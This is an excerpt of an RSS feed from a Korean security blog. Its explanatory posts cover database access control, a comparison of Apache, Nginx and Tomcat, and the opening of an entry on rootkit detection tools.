      <guid isPermaLink="true">https://toastfactory.tistory.com/381</guid>
      <comments>https://toastfactory.tistory.com/381#entry381comment</comments>
      <pubDate>Tue, 18 Nov 2025 15:22:42 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] DB 접근제어란?</title>
      <link>https://toastfactory.tistory.com/380</link>
      <description>&lt;p data-end=&quot;152&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;DB 접근제어(Database Access Control)란 &lt;b&gt;데이터베이스(DB)에 누가, 무엇을, 어떻게 접근할 수 있는지를 통제하는 보안 기술과 정책&lt;/b&gt;을 말해.&lt;br /&gt;쉽게 말해, &lt;b&gt;중요한 데이터가 저장된 DB를 아무나 들여다보거나 수정하지 못하도록 막는 것&lt;/b&gt;이야.&lt;/p&gt;
&lt;hr data-end=&quot;157&quot; data-start=&quot;154&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;181&quot; data-start=&quot;159&quot;&gt;✅ &lt;b&gt;DB 접근제어의 핵심 개념&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-end=&quot;214&quot; data-start=&quot;183&quot; data-ke-size=&quot;size23&quot;&gt;1) &lt;b&gt;인증(Authentication)&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;269&quot; data-start=&quot;215&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;241&quot; data-start=&quot;215&quot;&gt;DB에 접속하려는 사용자가 누구인지 확인&lt;/li&gt;
&lt;li data-end=&quot;269&quot; data-start=&quot;242&quot;&gt;예: ID/비밀번호, MFA, 계정 기반 인증&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;301&quot; data-start=&quot;271&quot; data-ke-size=&quot;size23&quot;&gt;2) &lt;b&gt;인가(Authorization)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;331&quot; data-start=&quot;302&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 어떤 행위를 해도 되는지 권한을 부여&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;405&quot; data-start=&quot;332&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;346&quot; data-start=&quot;332&quot;&gt;SELECT(조회)&lt;/li&gt;
&lt;li data-end=&quot;361&quot; data-start=&quot;347&quot;&gt;INSERT(추가)&lt;/li&gt;
&lt;li data-end=&quot;376&quot; data-start=&quot;362&quot;&gt;UPDATE(수정)&lt;/li&gt;
&lt;li data-end=&quot;391&quot; data-start=&quot;377&quot;&gt;DELETE(삭제)&lt;/li&gt;
&lt;li data-end=&quot;405&quot; data-start=&quot;392&quot;&gt;DBA 권한(관리자)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;414&quot; data-start=&quot;407&quot; data-ke-size=&quot;size16&quot;&gt;SQL 예시:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;GRANT&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&lt;span&gt;INSERT&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;ON&lt;/span&gt;&lt;/span&gt;&lt;span&gt; users &lt;/span&gt;&lt;span&gt;&lt;span&gt;TO&lt;/span&gt;&lt;/span&gt;&lt;span&gt; app_user; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;489&quot; data-start=&quot;470&quot; data-ke-size=&quot;size23&quot;&gt;3) &lt;b&gt;접근 통제 정책&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;508&quot; data-start=&quot;490&quot; data-ke-size=&quot;size16&quot;&gt;보통 크게 3가지 모델을 사용함:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;모델설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;692&quot; data-start=&quot;510&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;692&quot; data-start=&quot;537&quot;&gt;
&lt;tr data-end=&quot;587&quot; data-start=&quot;537&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;556&quot; data-start=&quot;537&quot;&gt;&lt;b&gt;DAC(임의 접근제어)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;587&quot; data-start=&quot;556&quot; data-col-size=&quot;sm&quot;&gt;소유자가 권한을 결정 (일반 DB에서 많이 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;631&quot; data-start=&quot;588&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;607&quot; data-start=&quot;588&quot;&gt;&lt;b&gt;MAC(강제 접근제어)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;631&quot; data-start=&quot;607&quot; data-col-size=&quot;sm&quot;&gt;보안 등급 기반 통제 (군/정부 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;692&quot; data-start=&quot;632&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;655&quot; data-start=&quot;632&quot;&gt;&lt;b&gt;RBAC(역할 기반 접근제어)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;692&quot; data-start=&quot;655&quot; data-col-size=&quot;sm&quot;&gt;역할(role)에 따라 권한 부여 (기업 DB 대부분 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;697&quot; data-start=&quot;694&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;722&quot; data-start=&quot;699&quot;&gt;✅ &lt;b&gt;DB 접근제어가 필요한 이유&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;824&quot; data-start=&quot;723&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;743&quot; data-start=&quot;723&quot;&gt;&lt;b&gt;고객 정보 유출 방지&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;772&quot; data-start=&quot;744&quot;&gt;&lt;b&gt;내부자에 의한 데이터 오&amp;middot;남용 방지&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;799&quot; data-start=&quot;773&quot;&gt;&lt;b&gt;ISMS-P 등 규제 준수 필수&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;824&quot; data-start=&quot;800&quot;&gt;&lt;b&gt;DB 전체가 해킹되는 것을 방지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-end=&quot;829&quot; data-start=&quot;826&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;863&quot; data-start=&quot;831&quot;&gt;✅ &lt;b&gt;DB 접근제어 솔루션(DB 접근제어 시스템)&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;894&quot; data-start=&quot;865&quot; data-ke-size=&quot;size16&quot;&gt;기업에서는 DB 자체 기능 외에도 별도 솔루션을 씀:&lt;/p&gt;
&lt;h3 data-end=&quot;907&quot; data-start=&quot;896&quot; data-ke-size=&quot;size23&quot;&gt;✦ 주요 기능&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1008&quot; data-start=&quot;908&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;929&quot; data-start=&quot;908&quot;&gt;&lt;b&gt;SQL 명령어 감시/차단&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;952&quot; data-start=&quot;930&quot;&gt;관리자(개발자/DBA) 접속 통제&lt;/li&gt;
&lt;li data-end=&quot;968&quot; data-start=&quot;953&quot;&gt;DB 계정 공유 방지&lt;/li&gt;
&lt;li data-end=&quot;981&quot; data-start=&quot;969&quot;&gt;계정/세션 기록&lt;/li&gt;
&lt;li data-end=&quot;997&quot; data-start=&quot;982&quot;&gt;실시간 이상행위 탐지&lt;/li&gt;
&lt;li data-end=&quot;1008&quot; data-start=&quot;998&quot;&gt;감사 로그 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1031&quot; data-start=&quot;1010&quot; data-ke-size=&quot;size23&quot;&gt;✦ 동작 방식 (대표적인 방식)&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1180&quot; data-start=&quot;1032&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1084&quot; data-start=&quot;1032&quot;&gt;&lt;b&gt;프록시 방식&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1084&quot; data-start=&quot;1051&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1084&quot; data-start=&quot;1051&quot;&gt;DB 앞에 Proxy 서버를 두어 모든 SQL을 감시&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1127&quot; data-start=&quot;1085&quot;&gt;&lt;b&gt;에이전트 방식&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1127&quot; data-start=&quot;1105&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1127&quot; data-start=&quot;1105&quot;&gt;DB 서버 내부에 Agent 설치&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1180&quot; data-start=&quot;1128&quot;&gt;&lt;b&gt;네트워크 패킷 분석 방식&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1180&quot; data-start=&quot;1154&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1180&quot; data-start=&quot;1154&quot;&gt;DB로 들어가는 패킷을 분석하여 SQL 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-end=&quot;1185&quot; data-start=&quot;1182&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1213&quot; data-start=&quot;1187&quot;&gt;⚠️ 보안관제 관점에서 DB 접근제어 포인트&lt;/h1&gt;
&lt;p data-end=&quot;1236&quot; data-start=&quot;1215&quot; data-ke-size=&quot;size16&quot;&gt;보안 담당자라면 이런 걸 체크해야 해:&lt;/p&gt;
&lt;p data-end=&quot;1377&quot; data-start=&quot;1238&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; DBA 계정 접속 시간/출처&lt;br /&gt;&amp;bull; 평소와 다른 SQL 실행 여부&lt;br /&gt;&amp;bull; 대량 조회(SELECT * FROM &amp;hellip;) 탐지&lt;br /&gt;&amp;bull; 백업 파일 무단 생성/다운로드&lt;br /&gt;&amp;bull; 신규 계정 생성 감시&lt;br /&gt;&amp;bull; 직접 DB 접속 대신 중간 솔루션 경유 여부 확인&lt;/p&gt;
&lt;hr data-end=&quot;1382&quot; data-start=&quot;1379&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1396&quot; data-start=&quot;1384&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1467&quot; data-start=&quot;1397&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DB 접근제어란 DB에 대한 사용자 접근을 인증&amp;middot;권한&amp;middot;정책&amp;middot;감사 측면에서 통제하여 중요 정보를 보호하는 보안 기술이다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <category>DB접근제어</category>
      <category>보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/380</guid>
      <comments>https://toastfactory.tistory.com/380#entry380comment</comments>
      <pubDate>Mon, 17 Nov 2025 14:32:15 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Apache / Tomcat / Nginx란?</title>
      <link>https://toastfactory.tistory.com/379</link>
      <description>&lt;h1 data-end=&quot;135&quot; data-start=&quot;100&quot;&gt;  Apache / Tomcat / Nginx 한눈에 비교&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분ApacheNginxTomcat
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;474&quot; data-start=&quot;137&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;474&quot; data-start=&quot;207&quot;&gt;
&lt;tr data-end=&quot;268&quot; data-start=&quot;207&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;212&quot; data-start=&quot;207&quot;&gt;종류&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;231&quot; data-start=&quot;212&quot;&gt;웹 서버(Web Server)&lt;/td&gt;
&lt;td data-end=&quot;248&quot; data-start=&quot;231&quot; data-col-size=&quot;sm&quot;&gt;웹 서버 + 리버스 프록시&lt;/td&gt;
&lt;td data-end=&quot;268&quot; data-start=&quot;248&quot; data-col-size=&quot;sm&quot;&gt;웹 애플리케이션 서버(WAS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;337&quot; data-start=&quot;269&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;279&quot; data-start=&quot;269&quot;&gt;주 사용 목적&lt;/td&gt;
&lt;td data-end=&quot;291&quot; data-start=&quot;279&quot; data-col-size=&quot;sm&quot;&gt;정적 페이지 제공&lt;/td&gt;
&lt;td data-end=&quot;316&quot; data-start=&quot;291&quot; data-col-size=&quot;sm&quot;&gt;정적 페이지 + 리버스 프록시 + 고성능&lt;/td&gt;
&lt;td data-end=&quot;337&quot; data-start=&quot;316&quot; data-col-size=&quot;sm&quot;&gt;Java 기반 애플리케이션 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;388&quot; data-start=&quot;338&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;346&quot; data-start=&quot;338&quot;&gt;처리 방식&lt;/td&gt;
&lt;td data-end=&quot;356&quot; data-start=&quot;346&quot; data-col-size=&quot;sm&quot;&gt;프로세스 기반&lt;/td&gt;
&lt;td data-end=&quot;365&quot; data-start=&quot;356&quot; data-col-size=&quot;sm&quot;&gt;이벤트 기반&lt;/td&gt;
&lt;td data-end=&quot;388&quot; data-start=&quot;365&quot; data-col-size=&quot;sm&quot;&gt;Java Servlet/JSP 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;422&quot; data-start=&quot;389&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;394&quot; data-start=&quot;389&quot;&gt;속도&lt;/td&gt;
&lt;td data-end=&quot;399&quot; data-start=&quot;394&quot; data-col-size=&quot;sm&quot;&gt;보통&lt;/td&gt;
&lt;td data-end=&quot;407&quot; data-start=&quot;399&quot; data-col-size=&quot;sm&quot;&gt;매우 빠름&lt;/td&gt;
&lt;td data-end=&quot;422&quot; data-start=&quot;407&quot; data-col-size=&quot;sm&quot;&gt;느린 편(역할 다름)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;474&quot; data-start=&quot;423&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;428&quot; data-start=&quot;423&quot;&gt;용도&lt;/td&gt;
&lt;td data-end=&quot;440&quot; data-start=&quot;428&quot; data-col-size=&quot;sm&quot;&gt;웹 페이지 서비스&lt;/td&gt;
&lt;td data-end=&quot;457&quot; data-start=&quot;440&quot; data-col-size=&quot;sm&quot;&gt;고성능/대규모 트래픽 처리&lt;/td&gt;
&lt;td data-end=&quot;474&quot; data-start=&quot;457&quot; data-col-size=&quot;sm&quot;&gt;Java 웹 서비스 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;479&quot; data-start=&quot;476&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;502&quot; data-start=&quot;481&quot;&gt;  1) Apache(아파치)란?&lt;/h1&gt;
&lt;p data-end=&quot;560&quot; data-start=&quot;504&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Apache HTTP Server는 &lt;b&gt;가장 오래되고 널리 사용되는 웹 서버&lt;/b&gt;야.&lt;/p&gt;
&lt;h3 data-end=&quot;571&quot; data-start=&quot;562&quot; data-ke-size=&quot;size23&quot;&gt;  특징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;683&quot; data-start=&quot;572&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;597&quot; data-start=&quot;572&quot;&gt;정적 콘텐츠(HTML, 이미지 등)를 제공&lt;/li&gt;
&lt;li data-end=&quot;644&quot; data-start=&quot;598&quot;&gt;모듈 방식으로 기능을 확장 (mod_security, mod_rewrite 등)&lt;/li&gt;
&lt;li data-end=&quot;683&quot; data-start=&quot;645&quot;&gt;프로세스 기반 방식이라 동시 접속이 많으면 성능이 떨어질 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;694&quot; data-start=&quot;685&quot; data-ke-size=&quot;size23&quot;&gt;  장점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;749&quot; data-start=&quot;695&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;713&quot; data-start=&quot;695&quot;&gt;안정적이고 오랫동안 검증됨&lt;/li&gt;
&lt;li data-end=&quot;731&quot; data-start=&quot;714&quot;&gt;기능과 설정이 매우 다양&lt;/li&gt;
&lt;li data-end=&quot;749&quot; data-start=&quot;732&quot;&gt;PHP 웹사이트와 잘 어울림&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;760&quot; data-start=&quot;751&quot; data-ke-size=&quot;size23&quot;&gt;  단점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;807&quot; data-start=&quot;761&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;788&quot; data-start=&quot;761&quot;&gt;대규모 트래픽 처리 시 Nginx보다 느림&lt;/li&gt;
&lt;li data-end=&quot;807&quot; data-start=&quot;789&quot;&gt;자원 사용량이 상대적으로 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;812&quot; data-start=&quot;809&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;835&quot; data-start=&quot;814&quot;&gt;  2) Nginx(엔진엑스)란?&lt;/h1&gt;
&lt;p data-end=&quot;895&quot; data-start=&quot;837&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Nginx는 &lt;b&gt;고성능 웹 서버 + 리버스 프록시 서버&lt;/b&gt;로 유명한 서버 프로그램이야.&lt;/p&gt;
&lt;h3 data-end=&quot;906&quot; data-start=&quot;897&quot; data-ke-size=&quot;size23&quot;&gt;  특징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1004&quot; data-start=&quot;907&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;938&quot; data-start=&quot;907&quot;&gt;이벤트 기반 처리 &amp;rarr; 매우 빠르고 트래픽 처리량 높음&lt;/li&gt;
&lt;li data-end=&quot;952&quot; data-start=&quot;939&quot;&gt;정적 파일 처리 최강&lt;/li&gt;
&lt;li data-end=&quot;1004&quot; data-start=&quot;953&quot;&gt;리버스 프록시로 많이 사용&lt;br /&gt;(예: 앞단에 Nginx, 뒤에 Tomcat 여러 개)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1020&quot; data-start=&quot;1006&quot; data-ke-size=&quot;size23&quot;&gt;  주 사용 용도&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1087&quot; data-start=&quot;1021&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1049&quot; data-start=&quot;1021&quot;&gt;대용량 트래픽 웹사이트 (넷플릭스, 깃허브 등)&lt;/li&gt;
&lt;li data-end=&quot;1057&quot; data-start=&quot;1050&quot;&gt;로드밸런싱&lt;/li&gt;
&lt;li data-end=&quot;1076&quot; data-start=&quot;1058&quot;&gt;SSL 종료(HTTPS 처리)&lt;/li&gt;
&lt;li data-end=&quot;1087&quot; data-start=&quot;1077&quot;&gt;캐싱 서버 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1098&quot; data-start=&quot;1089&quot; data-ke-size=&quot;size23&quot;&gt;  장점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1146&quot; data-start=&quot;1099&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1108&quot; data-start=&quot;1099&quot;&gt;성능 최고&lt;/li&gt;
&lt;li data-end=&quot;1129&quot; data-start=&quot;1109&quot;&gt;적은 자원으로 많은 요청 처리&lt;/li&gt;
&lt;li data-end=&quot;1146&quot; data-start=&quot;1130&quot;&gt;최신 아키텍처에 최적화&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1157&quot; data-start=&quot;1148&quot; data-ke-size=&quot;size23&quot;&gt;  단점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1188&quot; data-start=&quot;1158&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1188&quot; data-start=&quot;1158&quot;&gt;Apache보다 설정이 어렵다고 느끼는 사람도 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1193&quot; data-start=&quot;1190&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1215&quot; data-start=&quot;1195&quot;&gt;  3) Tomcat(톰캣)란?&lt;/h1&gt;
&lt;p data-end=&quot;1333&quot; data-start=&quot;1217&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;Tomcat은 **Java 웹 애플리케이션을 실행하기 위한 WAS(Web Application Server)**야.&lt;br /&gt;웹 서버가 아니라, &lt;b&gt;서버 사이드 Java 코드를 실행&lt;/b&gt;하는 서버.&lt;/p&gt;
&lt;h3 data-end=&quot;1344&quot; data-start=&quot;1335&quot; data-ke-size=&quot;size23&quot;&gt;  역할&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1426&quot; data-start=&quot;1345&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1364&quot; data-start=&quot;1345&quot;&gt;Java Servlet 실행&lt;/li&gt;
&lt;li data-end=&quot;1393&quot; data-start=&quot;1365&quot;&gt;JSP(Java Server Page) 처리&lt;/li&gt;
&lt;li data-end=&quot;1426&quot; data-start=&quot;1394&quot;&gt;Spring Boot 등 Java 기반 웹 서비스 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1440&quot; data-start=&quot;1428&quot; data-ke-size=&quot;size23&quot;&gt;  사용 용도&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1499&quot; data-start=&quot;1441&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1470&quot; data-start=&quot;1441&quot;&gt;금융권, 공공기관 등 Java 기반 웹 서비스&lt;/li&gt;
&lt;li data-end=&quot;1499&quot; data-start=&quot;1471&quot;&gt;Spring Framework 기반 애플리케이션&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1510&quot; data-start=&quot;1501&quot; data-ke-size=&quot;size23&quot;&gt;  장점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1576&quot; data-start=&quot;1511&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1534&quot; data-start=&quot;1511&quot;&gt;Java 웹 애플리케이션 실행 필수&lt;/li&gt;
&lt;li data-end=&quot;1547&quot; data-start=&quot;1535&quot;&gt;안정적인 WAS&lt;/li&gt;
&lt;li data-end=&quot;1576&quot; data-start=&quot;1548&quot;&gt;Spring Boot의 내장 톰캣처럼 개발 표준&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1587&quot; data-start=&quot;1578&quot; data-ke-size=&quot;size23&quot;&gt;  단점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1646&quot; data-start=&quot;1588&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1615&quot; data-start=&quot;1588&quot;&gt;정적 파일 처리 성능은 웹 서버보다 떨어짐&lt;/li&gt;
&lt;li data-end=&quot;1646&quot; data-start=&quot;1616&quot;&gt;대규모 트래픽 처리 능력은 Nginx에 미치지 못함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1651&quot; data-start=&quot;1648&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1677&quot; data-start=&quot;1653&quot;&gt;  실제 운영 환경에서는 이렇게 사용됨&lt;/h1&gt;
&lt;h3 data-end=&quot;1691&quot; data-start=&quot;1679&quot; data-ke-size=&quot;size23&quot;&gt;  정석 구성&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[Nginx]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[Tomcat]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; Database &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1899&quot; data-start=&quot;1735&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1758&quot; data-start=&quot;1735&quot;&gt;클라이언트 요청은 Nginx가 받음&lt;/li&gt;
&lt;li data-end=&quot;1782&quot; data-start=&quot;1759&quot;&gt;정적 파일은 Nginx가 바로 처리&lt;/li&gt;
&lt;li data-end=&quot;1820&quot; data-start=&quot;1783&quot;&gt;Java 요청은 Tomcat으로 넘김 (리버스 프록시 역할)&lt;/li&gt;
&lt;li data-end=&quot;1852&quot; data-start=&quot;1821&quot;&gt;Tomcat은 Java application 처리&lt;/li&gt;
&lt;li data-end=&quot;1899&quot; data-start=&quot;1853&quot;&gt;Apache도 비슷한 구성 가능하지만 최신 트래픽 환경에서는 Nginx가 선호됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1904&quot; data-start=&quot;1901&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1918&quot; data-start=&quot;1906&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;2038&quot; data-start=&quot;1919&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1949&quot; data-start=&quot;1919&quot;&gt;&lt;b&gt;Apache&lt;/b&gt;: 오래되고 안정적인 웹 서버&lt;/li&gt;
&lt;li data-end=&quot;1999&quot; data-start=&quot;1950&quot;&gt;&lt;b&gt;Nginx&lt;/b&gt;: 고성능 웹 서버 + 리버스 프록시 (최신 트래픽 환경의 표준)&lt;/li&gt;
&lt;li data-end=&quot;2038&quot; data-start=&quot;2000&quot;&gt;&lt;b&gt;Tomcat&lt;/b&gt;: Java 웹 애플리케이션 실행하는 WAS&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>2. 보안/3. 시스템 보안</category>
      <category>apache</category>
      <category>nginx</category>
      <category>Tomcat</category>
      <category>보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/379</guid>
      <comments>https://toastfactory.tistory.com/379#entry379comment</comments>
      <pubDate>Mon, 17 Nov 2025 14:30:15 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] Rootkit 감지 도구란?</title>
      <link>https://toastfactory.tistory.com/378</link>
      <description>&lt;p data-end=&quot;81&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;rootkit 감지 도구&lt;/b&gt;는 &lt;b&gt;시스템 안에 숨겨져 있는 루트킷(rootkit) 악성코드를 탐지하고 제거하기 위해 사용되는 보안 도구&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;210&quot; data-start=&quot;83&quot; data-ke-size=&quot;size16&quot;&gt;루트킷(rootkit)은&lt;br /&gt;&amp;rarr; &lt;b&gt;자신을 숨기고&lt;/b&gt;,&lt;br /&gt;&amp;rarr; &lt;b&gt;시스템 권한을 조작하며&lt;/b&gt;,&lt;br /&gt;&amp;rarr; &lt;b&gt;보안 도구에서 보이지 않도록 활동을 은폐하는 악성코드&lt;/b&gt;라서&lt;br /&gt;일반 백신이나 OS 기본 기능만으로는 잘 보이지 않아.&lt;/p&gt;
&lt;p data-end=&quot;256&quot; data-start=&quot;212&quot; data-ke-size=&quot;size16&quot;&gt;그래서 **전문 rootkit 탐지 도구(anti-rootkit)**가 필요해.&lt;/p&gt;
